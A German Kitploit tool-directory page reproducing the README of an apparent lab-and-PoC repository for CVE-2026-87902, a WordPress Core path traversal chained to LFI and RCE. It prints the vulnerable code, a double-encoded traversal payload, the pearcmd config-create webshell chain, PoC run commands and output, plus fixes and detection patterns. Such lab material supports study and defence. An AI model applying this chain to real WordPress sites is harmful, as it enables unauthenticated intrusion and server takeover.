Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EXPLOIT-CVE-2026-87902 — Vulnerables Lab (Docker) + Python-PoC für CVE-2026-87902 — nicht authentifizierter Path Traversal im WordPress Core (page-template -> LFI -> bedingte RCE). Bildungs-/autorisiertes Nutzung. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-87902
Container-SicherheitSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubjoaovicdev/exploit-cve-2026-87902

EXPLOIT-CVE-2026-87902

Vulnerables Lab (Docker) + Python-PoC für CVE-2026-87902 — nicht authentifizierter Path Traversal im WordPress Core (page-template -> LFI -> bedingte RCE). Bildungs-/autorisiertes Nutzung.

Repository anzeigen
vor 5h 14mNoch nicht geprüft

Lab + Exploit — CVE-2026-87902

Lab absichtlich verwundbar + PoC in Python für die CVE-2026-87902: nicht authentifizierter Path Traversal bei der Auflösung von page template im WordPress Core, was zu Local File Inclusion (LFI) und bedingter RCE führt.

FeldWert
ProduktWordPress Core
Betroffene Versionen4.7.0 → 7.1.1
Korrektur7.1.2 (Backport bis 4.7.37)
TypPath Traversal (CWE-22) → LFI → bedingte RCE
AuthentifizierungKeine (nicht authentifiziert)
CVSS 4.09.2 (Kritisch)
Veröffentlichung2026-09-23

⚠️ Rechtlicher / ethischer Hinweis. Das gesamte Material hier dient dem Studium in einer lokalen und autorisierten Umgebung. Das Lab ist ein absichtlich unsicheres Docker-Image — setze es nicht dem Internet aus. Das exploit.py hat absichtlich http://localhost:8091 als Standardziel. Das Ausführen des PoC gegen irgendein System ohne ausdrückliche schriftliche Genehmigung ist eine Straftat. Du bist allein für die Nutzung verantwortlich.


Struktur

root@kitploit:~
EXPLOIT-CVE-2026-87902/
├── README.md                # diese Datei
├── docker-compose.yml       # startet das Lab auf localhost:8091
├── lab/
│   ├── Dockerfile           # php:8.2-apache + PEAR + register_argc_argv=On
│   ├── config/zz-lab.ini    # Umgebungsvoraussetzungen für RCE
│   └── src/                 # "WordPress mini", das den verwundbaren Abschnitt reproduziert
│       ├── index.php        # Front Controller (≈ template-loader.php)
│       ├── wp-mini.php      # verwundbare get_page_template()/locate_template()/...
│       ├── private/
│       │   └── secret-config.php   # .php-Ziel außerhalb des Themes (LFI-Beweis)
│       └── wp-content/themes/twentytwelve-mini/
│           ├── style.css
│           ├── index.php
│           └── page-templates/     # "page-*"-Verzeichnis, das für die Traversierung erforderlich ist
│               └── full-width.php
└── exploit/
    ├── exploit.py           # PoC (pt-BR): LFI + RCE-Kette über pearcmd
    └── requirements.txt

Ausführung

Voraussetzungen: Docker + Docker Compose und Python 3 mit requests.

root@kitploit:~
# 1) Lab starten (läuft auf http://localhost:8091)
docker compose up --build

# 2) In einem anderen Terminal die PoC-Abhängigkeit installieren und ausführen
cd exploit
pip install -r requirements.txt
python3 exploit.py            # führt LFI + RCE gegen das lokale Lab aus

# Nützliche Optionen
python3 exploit.py --mode lfi              # nur der LFI-Beweis
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091

# 3) Lab herunterfahren
docker compose down

Erwartete Ausgabe (Zusammenfassung):

root@kitploit:~
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------

Anatomie der Schwachstelle

1. Der verwundbare Codepfad

In get_page_template() wird der Wert der öffentlichen Query-Variable pagename verwendet, um den Namen des Templates zusammenzusetzen. Der Core validiert den rohen Wert mit validate_file() (was literale .. blockiert), dekodiert den Wert danach jedoch einmal und verwendet das Ergebnis als Template-Kandidat ohne erneute Validierung (getreue Reproduktion in wp-mini.php):

root@kitploit:~
if ($pagename !== '' && 0 === validate_file($pagename)) {
    $templates[] = "page-{$pagename}.php";          // valor cru (ainda encodado)

    $pagename_decoded = urldecode($pagename);        // <-- 2ª decodificação
    if ($pagename_decoded !== $pagename) {
        $templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
    }
}

Der Locator verkettet dann Theme + "/" + Template und inkludiert die erste Datei, die existiert, ohne realpath() oder Prüfung, ob das Ergebnis weiterhin innerhalb des Theme-Verzeichnisses liegt.

2. Der Bypass durch doppelte Kodierung

Der Angreifer sendet pagename doppelt kodiert:

root@kitploit:~
Wert auf dem Draht (POST body):   templates%252f%252e%252e%252f...%252fpearcmd
1. Dekodierung (HTTP):            templates%2f%2e%2e%2f...%2fpearcmd     <- kein literales '..' => passiert validate_file()
2. Dekodierung (Core):            templates/../../.../pearcmd            <- echte Traversierung

Da der Locator page- voranstellt, wird der Pfad zu page-templates/../../.../pearcmd.php. Dies löst außerhalb des Themes auf.

3. Voraussetzungen für RCE (alle im Lab vorhanden)

  • Theme mit einem Top-Level-Verzeichnis, das mit page- beginnt (hier page-templates/). Dies ist der eigentliche Ausgangspunkt der Traversierung: Unter Linux muss jede Pfadkomponente existieren, damit die ../ aufgelöst werden können. Legacy-Themes (Twenty Twelve/Fourteen) und populäre Themes (Neve, Hestia, Sydney) erfüllen dies.
  • register_argc_argv = On in PHP → $_SERVER['argv'] wird aus der Query-String befüllt.
  • pearcmd.php lesbar auf dem Server (das offizielle Image php:8.2-apache bringt es bereits unter /usr/local/lib/php/pearcmd.php im Standard-include_path mit).

Da der Locator .php anhängt, erreicht die LFI nur .php-Dateien. Deshalb verkettet der praktische RCE-Weg mit pearcmd.php:

  • Stufe 1 — pearcmd.php inkludieren und über die Query-String (=argv) config-create übergeben, um eine .php-Webshell in /tmp zu schreiben.
  • Stufe 2 — diese /tmp/<webshell>.php über eine neue Traversierung inkludieren → das PHP des Angreifers wird ausgeführt.

4. Wie 7.1.2 korrigiert

Der Patch behandelt den Wert von pagename konsistent: Er validiert nach jeder Dekodierung (oder lehnt Eingaben mit kodierten Traversierungssequenzen ab) und erzwingt fortan die Verzeichnisgrenze bei der Auflösung des Templates (der endgültige Pfad muss innerhalb des Themes bleiben). Ergebnis: Der doppelt kodierte Wert überlebt nicht mehr bis zum include.

Mitigationen: Aktualisieren auf ≥ 7.1.2; und als Defense in Depth register_argc_argv = Off, pearcmd.php entfernen/einschränken und eine WAF, die kodierte ../ (%2e%2e%2f, %252e...) in Anfragen erkennt.


Erkennung (für das Defense-Team)

  • Front-End-Anfragen mit kodiertem/doppelt kodiertem ../ (%2e%2e%2f, %252e%252e%252f) in den Parametern.
  • Versuche, die Auflösung des page template zu manipulieren (seltsame Werte in pagename), insbesondere in Kombination mit Query-Strings, die config-create / Verweise auf pearcmd enthalten.
  • Unerwartete Erstellung von .php-Dateien in /tmp, gefolgt von deren Inklusion.

Quellen

  • NVD — CVE-2026-87902
  • VulDB — CVE-2026-87902
  • Help Net Security — WordPress 7.1.2 corrige a CVE-2026-87902
  • SOC Prime — Critical WordPress Core RCE Flaw
  • Hadrian — Working PoC for WordPress's Critical Path Traversal
  • Security Affairs
Tool herunterladen